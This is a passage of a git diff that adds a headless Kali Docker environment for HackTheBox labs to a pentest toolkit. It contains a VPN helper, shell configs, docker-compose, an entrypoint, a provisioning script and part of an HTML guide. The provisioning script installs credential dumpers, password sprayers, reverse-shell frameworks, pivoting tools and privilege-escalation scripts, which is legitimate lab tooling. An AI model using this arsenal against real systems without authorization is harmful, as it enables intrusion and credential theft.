+PIDFILE="$STATE_DIR/openvpn.pid"
+LOGFILE="$STATE_DIR/openvpn.log"
+mkdir -p "$STATE_DIR"
+
+c_ok=$'\033[38;2;156;207;216m'; c_warn=$'\033[38;2;246;193;119m'
+c_err=$'\033[38;2;235;111;146m'; c_z=$'\033[0m'
+ok() { printf "%s[+]%s %s\n" "$c_ok" "$c_z" "$*"; }
+warn() { printf "%s[!]%s %s\n" "$c_warn" "$c_z" "$*" >&2; }
+die() { printf "%s[-]%s %s\n" "$c_err" "$c_z" "$*" >&2; exit 1; }
+
+tun_ip() { ip -4 -br addr show tun0 2>/dev/null | awk '{print $3}' | cut -d/ -f1; }
+
+resolve_conf() {
+ _f=$1
+ [ -f "$_f" ] && { printf '%s' "$_f"; return; }
+ [ -f "$VPN_DIR/$_f" ] && { printf '%s' "$VPN_DIR/$_f"; return; }
+ case "$_f" in *.ovpn) ;; *) [ -f "$VPN_DIR/$_f.ovpn" ] && { printf '%s' "$VPN_DIR/$_f.ovpn"; return; } ;; esac
+ return 1
+}
+
+ensure_tun() {
+ [ -c /dev/net/tun ] && return 0
+ mkdir -p /dev/net
+ mknod /dev/net/tun c 10 200 2>/dev/null || die "no /dev/net/tun β run with --device /dev/net/tun --cap-add NET_ADMIN"
+ chmod 600 /dev/net/tun
+}
+
+cmd_up() {
+ [ $# -ge 1 ] || die "usage: htb up <file.ovpn> (see: htb ls)"
+ conf=$(resolve_conf "$1") || die "config not found: $1 (looked in $VPN_DIR)"
+ ensure_tun
+ if [ -f "$PIDFILE" ] && kill -0 "$(cat "$PIDFILE")" 2>/dev/null; then
+ warn "VPN already running (pid $(cat "$PIDFILE")). 'htb down' first."; return 1
+ fi
+ ok "starting openvpn: $conf"
+ openvpn --config "$conf" --daemon --writepid "$PIDFILE" \
+ --log "$LOGFILE" --script-security 2 || die "openvpn failed to launch (see $LOGFILE)"
+ printf 'waiting for tun0'
+ for _ in $(seq 1 30); do
+ [ -n "$(tun_ip)" ] && { printf '\n'; ok "tun0 up: $(tun_ip)"; return 0; }
+ printf '.'; sleep 1
+ done
+ printf '\n'; warn "tun0 not up after 30s β tail of $LOGFILE:"; tail -n 15 "$LOGFILE" >&2; return 1
+}
+
+cmd_down() {
+ if [ -f "$PIDFILE" ] && kill -0 "$(cat "$PIDFILE")" 2>/dev/null; then
+ kill "$(cat "$PIDFILE")" && ok "VPN stopped"
+ else
+ pkill -x openvpn 2>/dev/null && ok "VPN stopped (by name)" || warn "no VPN running"
+ fi
+ rm -f "$PIDFILE"
+}
+
+cmd_status() {
+ ipv=$(tun_ip)
+ if [ -n "$ipv" ]; then
+ ok "tun0: $ipv"
+ ip -4 route show dev tun0 2>/dev/null | sed 's/^/ route: /'
+ else
+ warn "no tun0 β VPN down. 'htb up <file.ovpn>'"
+ fi
+}
+
+case "${1:-help}" in
+ up) shift; cmd_up "$@" ;;
+ down|stop) cmd_down ;;
+ ip|status) cmd_status ;;
+ ping) shift; [ $# -ge 1 ] || die "usage: htb ping <target>"; ping -c3 "$1" ;;
+ ls|list) ls -1 "$VPN_DIR" 2>/dev/null || warn "no files in $VPN_DIR (mount ./vpn)" ;;
+ help|-h|--help) sed -n '2,16p' "$0" | sed 's/^# \{0,1\}//' ;;
+ *) die "unknown command: $1 (try: htb help)" ;;
+esacdocker/config/htb.tmux.conf
new file mode 100644
@@ -0,0 +1,6 @@
+# htb.tmux.conf β container-only tmux tweaks, sourced after the pentest-env
+# config. Force zsh as the login shell; ordinary tmux sessions remain available
+# for detach/reattach only while this container is running. Session snapshots
+# are deliberately not persisted because pane commands can contain secrets.
+set -g default-shell /usr/bin/zsh
+set -g default-command "zsh -l"docker/config/htb.zshrc
new file mode 100644
@@ -0,0 +1,38 @@
+# htb.zshrc β container-only zsh tweaks, sourced after the pentest-env block.
+# Keeps mutable state (history) on the persisted state volume and wires the
+# bits that only make sense inside the container.
+[ -n "${ZSH_VERSION:-}" ] || return 0
+
+# History on the state volume (survives container recreation).
+export HISTFILE="${XDG_STATE_HOME:-$HOME/.local/state}/zsh/history"
+mkdir -p "${HISTFILE:h}" 2>/dev/null
+export HISTSIZE=100000 SAVEHIST=100000
+setopt inc_append_history share_history hist_ignore_all_dups
+
+# gpg needs to know the tty to prompt for the pe DB passphrase.
+export GPG_TTY="$TTY"
+
+# Per-box work lives in ~/htb (the bind-mounted volume); newbox/scan use this.
+export PE_WORKROOT="$HOME/htb"
+
+# Tools voidwalker downloaded (host-arch ones are also symlinked into /usr/local/bin).
+path=("$HOME/.local/bin" "$HOME/go/bin" /usr/local/go/bin $path)
+
+# GUI apps run on the macOS host β route container HTTP through Burp on the Mac.
+export HTB_HOST_PROXY="http://host.docker.internal:8080"
+alias burpcurl='curl --proxy "$HTB_HOST_PROXY" -k'
+alias burpenv='export http_proxy="$HTB_HOST_PROXY" https_proxy="$HTB_HOST_PROXY"'
+alias noproxy='unset http_proxy https_proxy'
+
+# VPN + quick status (htb helper is on PATH).
+alias vpn='htb'
+
+# First-run hint: show the quickstart until the encrypted DB is initialised.
+if [[ -o interactive ]] && [[ ! -f "$HOME/.local/share/pentest-env/pentest.db" ]]; then
+ print -P "%F{#c4a7e7}ββ HTB Kali box ββββββββββββββββββββββββββββββββββββββββββββββ%f"
+ print -P "%F{#9ccfd8}β%f pe init %F{#6e6a86}create your encrypted flags/creds DB%f %F{#9ccfd8}β%f"
+ print -P "%F{#9ccfd8}β%f htb up lab.ovpn %F{#6e6a86}connect the HTB VPN (files in ./vpn)%f %F{#9ccfd8}β%f"
+ print -P "%F{#9ccfd8}β%f newbox Cap 10.10.10.245 %F{#6e6a86}register a target + make ~/htb/Cap%f %F{#9ccfd8}β%f"
+ print -P "%F{#9ccfd8}β%f pe cheat env %F{#6e6a86}how everything fits together%f %F{#9ccfd8}β%f"
+ print -P "%F{#c4a7e7}ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ%f"
+fidocker/docker-compose.yml
new file mode 100644
@@ -0,0 +1,42 @@
+# HTB Kali box β one headless service you exec into.
+# Managed via docker/bin/hbox, or directly with `docker compose`.
+name: htb
+services:
+ htb:
+ build:
+ context: .. # repo root, so the voidwalker package is in scope
+ dockerfile: docker/Dockerfile
+ args:
+ KALI_IMAGE: ${KALI_IMAGE:-kalilinux/kali-rolling}
+ image: ${IMAGE_TAG:-htb-kali:latest}
+ container_name: htb-kali
+ hostname: htb-kali
+ init: true
+
+ # The HTB VPN runs INSIDE the container (Docker Desktop for Mac can't bridge
+ # the Mac LAN via --network host), so openvpn needs these two:
+ cap_add:
+ - NET_ADMIN
+ devices:
+ - /dev/net/tun:/dev/net/tun # if your Docker can't provide this, comment it
+ # out β the entrypoint recreates it with NET_ADMIN.
+
+ # Reach Burp/Wireshark running natively on macOS at host.docker.internal.
+ extra_hosts:
+ - "host.docker.internal:host-gateway"
+
+ volumes:
+ - ./work:/root/htb # per-box work (newbox/scan write here)
+ - ./vpn:/root/vpn:ro # your .ovpn files (read-only)
+ - htb-pe-data:/root/.local/share/pentest-env # encrypted flags/creds DB + backups
+ - htb-state:/root/.local/state # pe key, zsh history, VPN/runtime state
+
+ # Idle so the box stays up; `hbox shell` reattaches tmux while it is running.
+ # Tmux panes/processes are not serialized to the persistent state volume.
+ command: ["sleep", "infinity"]
+ stdin_open: true
+ tty: true
+
+volumes:
+ htb-pe-data:
+ htb-state:docker/entrypoint.sh
new file mode 100755
@@ -0,0 +1,25 @@
+#!/usr/bin/env bash
+# entrypoint β runs once per container start, then hands off to CMD (zsh).
+# Prepares the tun device, persisted data dirs, and gpg, then nudges first-run
+# `pe init` (which must stay interactive: it sets the DB passphrase).
+set -eu
+
+# 1) TUN device for the in-container HTB VPN (harmless if already provided).
+if [ ! -c /dev/net/tun ]; then
+ mkdir -p /dev/net
+ mknod /dev/net/tun c 10 200 2>/dev/null || true
+ chmod 600 /dev/net/tun 2>/dev/null || true
+fi
+
+# 2) State/data dirs on the persisted volumes (created before first use).
+mkdir -p /root/htb /root/vpn \
+ /root/.local/state/zsh \
+ /root/.local/state/htb \
+ /root/.local/state/pentest-env \
+ /root/.local/share/pentest-env
+chmod 700 /root/.gnupg 2>/dev/null || true
+
+# (First-run guidance is printed by htb.zshrc, so it shows for `exec` sessions
+# too β the entrypoint's CMD is bypassed by `docker compose exec`.)
+
+exec "$@"docker/provision.py
new file mode 100755
@@ -0,0 +1,177 @@
+#!/usr/bin/env python3
+"""Container provisioning driver for the Kali HTB image.
+
+This is the bridge between the Docker build and VoidWalker. Rather than
+re-listing tools (which would drift from the project), it imports VoidWalker's
+own catalog and *reuses* its arch-aware binary downloader β but drives package
+installs non-interactively, as root, batched, and trimmed for a headless
+container (VoidWalker's own installers assume an interactive host, `sudo`, and a
+one-package-at-a-time TUI).
+
+Stages (selected via argv):
+ --print-apt print the trimmed APT_TOOLS list (consumed by the Dockerfile)
+ --stage lang pipx / uv / go / gem tools
+ --stage binaries arch-aware droppable binaries + workspace + symlinks
+ --all lang + binaries (default)
+
+Everything is best-effort: a single tool that fails to build/download must not
+abort the image build, so failures are logged and skipped.
+"""
+from __future__ import annotations
+
+import os
+import subprocess
+import sys
+from pathlib import Path
+
+# VoidWalker is pip-installed into the image before this runs.
+from voidwalker.data.packages import (
+ APT_TOOLS, PIPX_TOOLS, GO_TOOLS, GEM_TOOLS, UV_TOOLS,
+)
+from voidwalker.data.binaries import SPECIAL_TOOLS
+from voidwalker.data.workspace import WORKSPACE_DIRS
+from voidwalker.hostinfo import HostInfo
+
+HOME = Path(os.environ.get("HOME", "/root"))
+HOST = HostInfo.current() # linux/arm64 or linux/amd64 inside the image
+ARCH = HOST.arch # "arm64" | "amd64"
+
+# ββ Lean container profile βββββββββββββββββββββββββββββββββββββββββββββββββββ
+# GUI apps and wireless tooling are useless in a headless container with no
+# display and no radio; ghidra/autopsy are huge Java GUIs. Drop them; keep the
+# CLI equivalents (tshark/tcpdump stay, wireshark GUI goes).
+CONTAINER_SKIP_APT = {
+ "wireshark", "ghidra", "autopsy", "dirbuster", "veil",
+ "aircrack-ng", "reaver", "bully", "pixiewps", "wifite", "kismet",
+ "mdk3", "mdk4", "macchanger", "iw", "wireless-tools",
+ # provided more reliably elsewhere / already base deps:
+ "tmux", "vim", "nano", "git", "curl", "wget",
+}
+
+# pipx is slow (one venv per tool). Keep the HTB-essential subset; the rest stay
+# reachable at runtime via `pipx install X` or `voidwalker`. Big AD tools
+# (impacket/netexec/certipy/bloodyad) come from UV_TOOLS, not pipx.
+PIPX_KEEP = {
+ "bloodhound-python", "bloodhound-ce-python", "ldapdomaindump", "mitm6",
+ "coercer", "pypykatz", "adidnsdump", "pre2k", "sprayhound", "donpapi",
+ "dploot", "lsassy", "certsync", "theHarvester", "dirsearch", "arjun",
+ "pwntools", "ropgadget", "ropper", "name-that-hash", "updog",
+ "pwncat-cs", "villain", "hoaxshell", "oletools",
+}
+
+
+def log(msg: str) -> None:
+ print(f"[provision] {msg}", flush=True)
+
+
+def run(cmd, timeout: int = 1800) -> bool:
+ """Run a command, stream output, never raise. Returns success."""
+ if isinstance(cmd, str):
+ shown, kw = cmd, {"shell": True}
+ else:
+ shown, kw = " ".join(cmd), {}
+ try:
+ return subprocess.run(cmd, timeout=timeout, **kw).returncode == 0
+ except Exception as exc: # noqa: BLE001 - build must not die on one tool
+ log(f"! failed: {shown} :: {exc}")
+ return False
+
+
+# ββ apt list (printed for the Dockerfile) ββββββββββββββββββββββββββββββββββββ
+def apt_list() -> list[str]:
+ seen, out = set(), []
+ for pkg in APT_TOOLS:
+ if pkg in CONTAINER_SKIP_APT or pkg in seen:
+ continue
+ seen.add(pkg)
+ out.append(pkg)
+ return out
+
+
+# ββ language / package-manager tools βββββββββββββββββββββββββββββββββββββββββ
+def stage_lang() -> None:
+ log("pipx tools (curated HTB subset)")
+ run(["pipx", "ensurepath"])
+ for tool in PIPX_TOOLS:
+ if tool in PIPX_KEEP:
+ run(["pipx", "install", tool], timeout=900)
+
+ log("uv + uv-managed tools (impacket/netexec/certipy/bloodyad/bofhound)")
+ if not run(["uv", "--version"]):
+ run([sys.executable, "-m", "pip", "install", "--break-system-packages", "uv"])
+ for tool in UV_TOOLS:
+ run(["uv", "tool", "install", tool], timeout=900)
+
+ log("go tools (ffuf, nuclei, httpx, katana, β¦)")
+ env_path = os.environ.get("PATH", "")
+ os.environ["PATH"] = f"{HOME}/go/bin:{env_path}"
+ for name, cmd in GO_TOOLS:
+ if cmd.startswith("go install"):
+ run(cmd.split(), timeout=1200)
+
+ log("ruby gems (wpscan, evil-winrm)")
+ for gem in GEM_TOOLS:
+ run(["gem", "install", "--no-document", gem], timeout=900)
+
+
+# ββ arch-aware droppable binaries (reuse VoidWalker's downloader) ββββββββββββ
+def _symlink_first(glob_pat: str, link_name: str) -> None:
+ """Symlink the first match of a glob under ~/voidwalker into /usr/local/bin."""
+ matches = sorted((HOME / "voidwalker").glob(glob_pat))
+ if not matches:
+ log(f"~ no match for {glob_pat} (skipping {link_name} symlink)")
+ return
+ target = matches[0]
+ link = Path("/usr/local/bin") / link_name
+ try:
+ target.chmod(0o755)
+ link.unlink(missing_ok=True)
+ link.symlink_to(target)
+ log(f"+ {link_name} -> {target}")
+ except Exception as exc: # noqa: BLE001
+ log(f"! symlink {link_name} failed: {exc}")
+
+
+def stage_binaries() -> None:
+ log("workspace scaffold (~/voidwalker + engagement template)")
+ base = HOME / "voidwalker"
+ for d in WORKSPACE_DIRS:
+ (base / d).mkdir(parents=True, exist_ok=True)
+
+ log("arch-aware binaries via VoidWalker (all transfer variants + host-native)")
+ from voidwalker.core import VoidWalker
+ vw = VoidWalker()
+ vw.install_cross_platform_tools()
+ for name, cfg in SPECIAL_TOOLS.items():
+ vw.install_special_tool(name, cfg)
+
+ log(f"convenience symlinks for host arch ({HOST.label()})")
+ pspy = "pspy64arm" if ARCH == "arm64" else "pspy64"
+ _symlink_first(f"tools/linux/privesc/linux/{ARCH}/linpeas.sh", "linpeas")
+ _symlink_first(f"tools/linux/enum/linux/{ARCH}/{pspy}", "pspy")
+ _symlink_first(f"tools/pivoting/chisel/linux/{ARCH}/chisel*", "chisel")
+ _symlink_first(f"tools/pivoting/ligolo-ng/linux/{ARCH}/proxy", "ligolo-proxy")
+ _symlink_first(f"tools/pivoting/ligolo-ng/linux/{ARCH}/agent", "ligolo-agent")
+ _symlink_first(f"tools/pivoting/netcat/linux/{ARCH}/ncat*", "ncat-static")
+
+
+def main() -> int:
+ argv = sys.argv[1:]
+ if "--print-apt" in argv:
+ print(" ".join(apt_list()))
+ return 0
+
+ stage = argv[argv.index("--stage") + 1] if "--stage" in argv else "all"
+ do_all = "--all" in argv or stage == "all"
+
+ if do_all or stage == "lang":
+ stage_lang()
+ if do_all or stage == "binaries":
+ stage_binaries()
+
+ log("done.")
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())docker/vpn/.gitkeep
new file mode 100644docker/work/.gitkeep
new file mode 100644docs/index.html
new file mode 100644
@@ -0,0 +1,475 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8">
+<meta name="viewport" content="width=device-width, initial-scale=1.0">
+<title>VoidWalker β usage & the Kali Docker box</title>
+<meta name="description" content="How to use VoidWalker, the penetration-testing arsenal builder, and its headless Kali Docker box for HackTheBox.">
+<link rel="preconnect" href="https://fonts.googleapis.com">
+<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+<link href="https://fonts.googleapis.com/css2?family=Chakra+Petch:wght@500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@400;500;600;700&display=swap" rel="stylesheet">
+<style>
+/* βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
+ VoidWalker guide β Rose Pine Dawn (light) with cyberpunk insets.
+ Palette: Dawn surface + neon accents; embedded dark RP terminals.
+ βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */
+:root{
+ --base:#faf4ed; --surface:#fffaf3; --overlay:#f2e9e1;
+ --hl-low:#f4ede8; --hl-med:#dfdad9; --hl-high:#cecacd;
+ --muted:#9893a5; --subtle:#797593; --text:#575279;
+ --love:#b4637a; --gold:#ea9d34; --rose:#d7827e;
+ --pine:#286983; --foam:#56949f; --iris:#907aa9;
+
+ /* dark terminal (Rose Pine main) */
+ --t-base:#191724; --t-surface:#1f1d2e; --t-overlay:#26233a;
+ --t-text:#e0def4; --t-muted:#6e6a86; --t-subtle:#908caa;
+ --t-iris:#c4a7e7; --t-love:#eb6f92; --t-foam:#9ccfd8;
+ --t-gold:#f6c177; --t-pine:#31748f; --t-rose:#ebbcba;
+
+ --grad:linear-gradient(100deg,var(--iris),var(--love) 55%,var(--foam));
+ --f-display:"Chakra Petch",system-ui,sans-serif;
+ --f-body:"Space Grotesk",system-ui,-apple-system,sans-serif;
+ --f-mono:"JetBrains Mono",ui-monospace,"SF Mono",Menlo,monospace;
+ --edge:1px solid var(--hl-high);
+ --shadow:0 1px 0 var(--surface),0 18px 40px -24px rgba(87,82,121,.45);
+}
+*{box-sizing:border-box}
+html{scroll-behavior:smooth}
+@media (prefers-reduced-motion:reduce){html{scroll-behavior:auto}}
+body{
+ margin:0; background:var(--base); color:var(--text);
+ font-family:var(--f-body); font-size:17px; line-height:1.65;
+ -webkit-font-smoothing:antialiased;
+ /* faint cyber grid + top glow, all in-palette so it stays quiet */
+ background-image:
+ radial-gradient(60% 45% at 78% -8%, rgba(144,122,169,.16), transparent 60%),
+ radial-gradient(50% 40% at 5% 4%, rgba(86,148,159,.12), transparent 60%),
+ linear-gradient(var(--hl-med) 1px, transparent 1px),
+ linear-gradient(90deg, var(--hl-med) 1px, transparent 1px);
+ background-size:auto,auto,44px 44px,44px 44px;
+ background-position:0 0,0 0,-1px -1px,-1px -1px;
+}
+/* ambient scanline overlay */
+.scan{position:fixed; inset:0; pointer-events:none; z-index:60; mix-blend-mode:multiply; opacity:.5;
+ background:repeating-linear-gradient(0deg, rgba(87,82,121,.05) 0 1px, transparent 1px 3px);}
+@media (prefers-reduced-motion:no-preference){
+ .scan{animation:scan 8s linear infinite; background-size:100% 6px;}
+ @keyframes scan{to{background-position:0 600px}}
+}
+a{color:var(--pine); text-decoration:none}
+a:hover{color:var(--love)}
+:focus-visible{outline:2px solid var(--iris); outline-offset:3px; border-radius:4px}
+
+/* ββ nav βββββββββββββββββββββββββββββββββββββββββββββββ */
+.nav{position:sticky; top:0; z-index:50; display:flex; align-items:center; gap:22px;
+ padding:14px clamp(18px,5vw,64px); background:rgba(255,250,243,.82);
+ backdrop-filter:blur(10px); border-bottom:var(--edge);}
+.brand{display:flex; align-items:center; gap:10px; font-family:var(--f-display);
+ font-weight:700; letter-spacing:.14em; color:var(--text); font-size:15px;}
+.brand svg{width:24px; height:24px; filter:drop-shadow(0 0 6px rgba(180,99,122,.5))}
+.nav__links{margin-left:auto; display:flex; gap:6px; flex-wrap:wrap}
+.nav__links a{font-family:var(--f-mono); font-size:12.5px; letter-spacing:.06em;
+ text-transform:lowercase; color:var(--subtle); padding:6px 11px; border-radius:7px; position:relative}
+.nav__links a::after{content:""; position:absolute; left:11px; right:11px; bottom:3px; height:2px;
+ background:var(--grad); transform:scaleX(0); transform-origin:left; transition:transform .25s ease}
+.nav__links a:hover,.nav__links a.active{color:var(--text)}
+.nav__links a.active::after,.nav__links a:hover::after{transform:scaleX(1)}
+
+.wrap{max-width:1120px; margin:0 auto; padding:0 clamp(18px,5vw,40px)}
+
+/* ββ hero ββββββββββββββββββββββββββββββββββββββββββββββ */
+.hero{display:grid; grid-template-columns:1.05fr .95fr; gap:clamp(28px,4vw,56px);
+ align-items:center; padding:clamp(48px,7vw,92px) 0 clamp(30px,4vw,52px)}
+.eyebrow{font-family:var(--f-mono); font-size:12.5px; letter-spacing:.24em; text-transform:uppercase;
+ color:var(--love); display:inline-flex; align-items:center; gap:10px; margin:0 0 18px}
+.eyebrow::before{content:""; width:26px; height:2px; background:var(--grad)}
+h1{font-family:var(--f-display); font-weight:700; line-height:.94; margin:0;
+ font-size:clamp(46px,9vw,104px); letter-spacing:.02em; color:var(--text);
+ text-shadow:2px 0 0 rgba(180,99,122,.28), -2px 0 0 rgba(86,148,159,.24);}
+.hero h1 .k{color:transparent; background:var(--grad); -webkit-background-clip:text; background-clip:text}
+@media (prefers-reduced-motion:no-preference){
+ .glitch{cursor:default}
+ .glitch:hover{animation:glitch .32s steps(2,end) 2}
+ @keyframes glitch{
+ 0%{text-shadow:2px 0 0 var(--love),-2px 0 0 var(--foam)}
+ 50%{text-shadow:-3px 0 0 var(--love),3px 0 0 var(--foam); transform:translateX(1px)}
+ 100%{text-shadow:2px 0 0 rgba(180,99,122,.28),-2px 0 0 rgba(86,148,159,.24)}
+ }
+}
+.lede{font-size:clamp(17px,1.7vw,20px); color:var(--subtle); max-width:44ch; margin:22px 0 28px}
+.lede b{color:var(--text); font-weight:600}
+.cta-row{display:flex; gap:14px; flex-wrap:wrap; margin-bottom:26px}
+.btn{font-family:var(--f-mono); font-size:14px; letter-spacing:.03em; padding:13px 20px; border-radius:11px;
+ border:1px solid transparent; cursor:pointer; display:inline-flex; align-items:center; gap:9px; transition:.22s}
+.btn--primary{color:var(--surface); background:var(--text);
+ background-image:var(--grad); box-shadow:0 14px 30px -14px rgba(144,122,169,.8)}
+.btn--primary:hover{transform:translateY(-2px); box-shadow:0 20px 38px -14px rgba(180,99,122,.75)}
+.btn--ghost{color:var(--text); background:var(--surface); border-color:var(--hl-high)}
+.btn--ghost:hover{border-color:var(--iris); box-shadow:0 0 0 3px rgba(144,122,169,.14)}
+.arch{display:flex; gap:8px; flex-wrap:wrap; align-items:center; font-family:var(--f-mono); font-size:12px; color:var(--muted)}
+.chip{font-family:var(--f-mono); font-size:12px; padding:4px 10px; border-radius:999px;
+ border:1px solid var(--hl-high); background:var(--surface); color:var(--subtle)}
+.chip--on{border-color:var(--foam); color:var(--pine); box-shadow:0 0 0 3px rgba(86,148,159,.12)}
+
+/* ββ terminal (the signature) ββββββββββββββββββββββββββ */
+.term{background:var(--t-base); border-radius:14px; overflow:hidden; border:1px solid #322f4a;
+ box-shadow:0 30px 60px -30px rgba(25,23,36,.6), 0 0 0 1px rgba(196,167,231,.08);}
+.term__bar{display:flex; align-items:center; gap:8px; padding:11px 14px; background:var(--t-surface);
+ border-bottom:1px solid #322f4a}
+.dot{width:11px; height:11px; border-radius:50%}
+.dot--love{background:var(--t-love)} .dot--gold{background:var(--t-gold)} .dot--foam{background:var(--t-foam)}
+.term__name{margin-left:8px; font-family:var(--f-mono); font-size:12px; color:var(--t-muted); letter-spacing:.04em}
+.copy{margin-left:auto; font-family:var(--f-mono); font-size:11px; letter-spacing:.08em; text-transform:uppercase;
+ color:var(--t-subtle); background:transparent; border:1px solid #3a3653; border-radius:7px; padding:4px 9px; cursor:pointer; transition:.18s}
+.copy:hover{color:var(--t-foam); border-color:var(--t-foam)}
+.copy.ok{color:var(--t-base); background:var(--t-foam); border-color:var(--t-foam)}
+.term__body{margin:0; padding:16px 18px; overflow-x:auto; background:var(--t-base)}
+.term__body code{font-family:var(--f-mono); font-size:13.5px; line-height:1.9; color:var(--t-text); display:block; white-space:pre}
+/* token colors */
+.c{color:var(--t-muted); font-style:italic} /* comment */
+.p{color:var(--t-iris)} /* prompt */
+.cmd{color:var(--t-foam)} /* command */
+.fl{color:var(--t-gold)} /* flag */
+.str{color:var(--t-rose)} /* string */
+.arg{color:var(--t-text)}
+.key{color:var(--t-love)} /* keyword/menu num */
+.cur{display:inline-block; width:9px; height:1.05em; background:var(--t-foam); vertical-align:-2px}
+@media (prefers-reduced-motion:no-preference){.cur{animation:blink 1.05s steps(1) infinite}
+ @keyframes blink{50%{opacity:0}}}
+
+/* ββ sections ββββββββββββββββββββββββββββββββββββββββββ */
+.sec{padding:clamp(46px,6vw,80px) 0; border-top:var(--edge)}
+.sec__head{display:flex; align-items:baseline; gap:16px; flex-wrap:wrap; margin-bottom:30px}
+.sec__ey{font-family:var(--f-mono); font-size:13px; letter-spacing:.2em; text-transform:uppercase; color:var(--iris)}
+.sec__ey::before{content:"// "; color:var(--muted)}
+.sec h2{font-family:var(--f-display); font-weight:600; font-size:clamp(27px,4vw,42px); margin:0; letter-spacing:.01em; color:var(--text)}
+.sec__sub{color:var(--subtle); max-width:60ch; margin:0 0 6px}
+
+.grid2{display:grid; grid-template-columns:1fr 1fr; gap:20px}
+.grid-cards{display:grid; grid-template-columns:repeat(auto-fill,minmax(272px,1fr)); gap:16px}
+.note{margin-top:18px; font-family:var(--f-mono); font-size:13px; color:var(--subtle);
+ border-left:2px solid var(--gold); padding:8px 0 8px 14px; background:linear-gradient(90deg,var(--hl-low),transparent)}
+
+/* command deck cards */
+.card{position:relative; background:var(--surface); border:var(--edge); border-radius:13px; padding:18px 18px 16px; box-shadow:var(--shadow); transition:.2s}
+.card:hover{transform:translateY(-3px); border-color:var(--iris)}
+.card::before,.card::after{content:""; position:absolute; width:12px; height:12px; opacity:0; transition:.2s}
+.card::before{top:8px; left:8px; border-top:2px solid var(--love); border-left:2px solid var(--love)}
+.card::after{bottom:8px; right:8px; border-bottom:2px solid var(--foam); border-right:2px solid var(--foam)}
+.card:hover::before,.card:hover::after{opacity:1}
+.card__tag{font-family:var(--f-mono); font-size:11px; letter-spacing:.12em; text-transform:uppercase; color:var(--love)}
+.card h3{font-family:var(--f-display); font-weight:600; font-size:19px; margin:6px 0 4px; color:var(--text)}
+.card p{margin:0 0 12px; font-size:14.5px; color:var(--subtle)}
+.card code{display:block; font-family:var(--f-mono); font-size:12.5px; color:var(--t-text);
+ background:var(--t-base); border-radius:8px; padding:9px 11px; overflow-x:auto; white-space:pre}
+.card code .cmd{color:var(--t-foam)} .card code .fl{color:var(--t-gold)} .card code .str{color:var(--t-rose)} .card code .arg{color:var(--t-text)}
+
+/* pe nouns */
+.nouns{display:flex; gap:9px; flex-wrap:wrap; margin-top:18px}
+.noun{font-family:var(--f-mono); font-size:13px; padding:7px 13px; border-radius:9px; background:var(--overlay);
+ border:1px solid var(--hl-high); color:var(--text)}
+.noun b{color:var(--love)}
+
+/* docker steps (a real sequence -> numbered) */
+.steps{display:grid; grid-template-columns:1fr 1fr; gap:18px; margin-bottom:22px}
+.step{position:relative; background:var(--surface); border:var(--edge); border-radius:13px; padding:18px 18px 8px; box-shadow:var(--shadow)}
+.step__n{font-family:var(--f-display); font-weight:700; font-size:13px; color:var(--surface); background:var(--grad);
+ width:30px; height:30px; border-radius:8px; display:grid; place-items:center; letter-spacing:0}
+.step__hd{display:flex; align-items:center; gap:12px; margin-bottom:12px}
+.step__hd h3{font-family:var(--f-display); font-weight:600; font-size:18px; margin:0; color:var(--text)}
+
+/* persistence table */
+.tbl{width:100%; border-collapse:collapse; font-size:14px; margin-top:6px; background:var(--surface); border:var(--edge); border-radius:12px; overflow:hidden}
+.tbl th,.tbl td{text-align:left; padding:11px 14px; border-bottom:1px solid var(--hl-med)}
+.tbl th{font-family:var(--f-mono); font-size:11.5px; letter-spacing:.1em; text-transform:uppercase; color:var(--iris); background:var(--hl-low)}
+.tbl tr:last-child td{border-bottom:0}
+.tbl code{font-family:var(--f-mono); font-size:12.5px; color:var(--pine)}
+
+/* footer */
+.foot{border-top:var(--edge); padding:40px 0 60px; margin-top:20px}
+.foot__grid{display:flex; justify-content:space-between; gap:24px; flex-wrap:wrap; align-items:flex-end}
+.disc{font-family:var(--f-mono); font-size:12.5px; color:var(--subtle); max-width:52ch;
+ border:1px solid var(--hl-high); border-left:3px solid var(--love); border-radius:8px; padding:12px 15px; background:var(--surface)}
+.disc b{color:var(--love)}
+.foot__mark{font-family:var(--f-display); font-weight:700; letter-spacing:.16em; color:var(--text); font-size:18px}
+.foot small{color:var(--muted); font-family:var(--f-mono); font-size:12px}
+
+@media (max-width:860px){
+ .hero{grid-template-columns:1fr; gap:30px}
+ .grid2,.steps{grid-template-columns:1fr}
+ .nav__links{display:none}
+}
+</style>
+</head>
+<body>
+<div class="scan" aria-hidden="true"></div>
+
+<nav class="nav">
+ <span class="brand">
+ <svg viewBox="0 0 24 24" fill="none" aria-hidden="true"><defs><linearGradient id="g" x1="0" y1="0" x2="24" y2="24"><stop stop-color="#907aa9"/><stop offset=".55" stop-color="#b4637a"/><stop offset="1" stop-color="#56949f"/></linearGradient></defs><path d="M12 1.6l9.5 5.5v9.4L12 22.4 2.5 16.5V7.1z" stroke="url(#g)" stroke-width="1.6"/><path d="M12 6.5v11M7 9v6M17 9v6" stroke="url(#g)" stroke-width="1.4" stroke-linecap="round"/></svg>
+ VOIDWALKER
+ </span>
+ <div class="nav__links">
+ <a href="#install">install</a>
+ <a href="#deck">command deck</a>
+ <a href="#pe">pe workspace</a>
+ <a href="#docker">kali docker box</a>
+ </div>
+</nav>
+
+<main class="wrap">
+
+ <!-- ββ HERO ββ -->
+ <header class="hero">
+ <div>
+ <p class="eyebrow">red-team arsenal builder</p>
+ <h1 class="glitch">VOID<span class="k">WALKER</span></h1>
+ <p class="lede">Turn a bare macOS or Linux box into a loaded offensive workstation β <b>350+ arch-aware tools</b>, the encrypted <b>pe</b> workspace, a Rose Pine GNOME/XFCE desktop with rollback-safe GNOME settings, and a searchable offline HTML handbook. Now also a <b>headless Kali Docker box</b> for HackTheBox.</p>
+ <div class="cta-row">
+ <a class="btn btn--primary" href="#install"><span>></span> install voidwalker</a>
+ <a class="btn btn--ghost" href="#docker"><span>></span> run the docker box</a>
+ </div>
+ <div class="arch">
+ <span class="chip chip--on">arm64 Β· apple silicon</span>
+ <span class="chip">amd64</span>
+ <span class="chip">armv7</span>
+ </div>
+ </div>
+
+ <div class="term" aria-label="VoidWalker interactive menu">
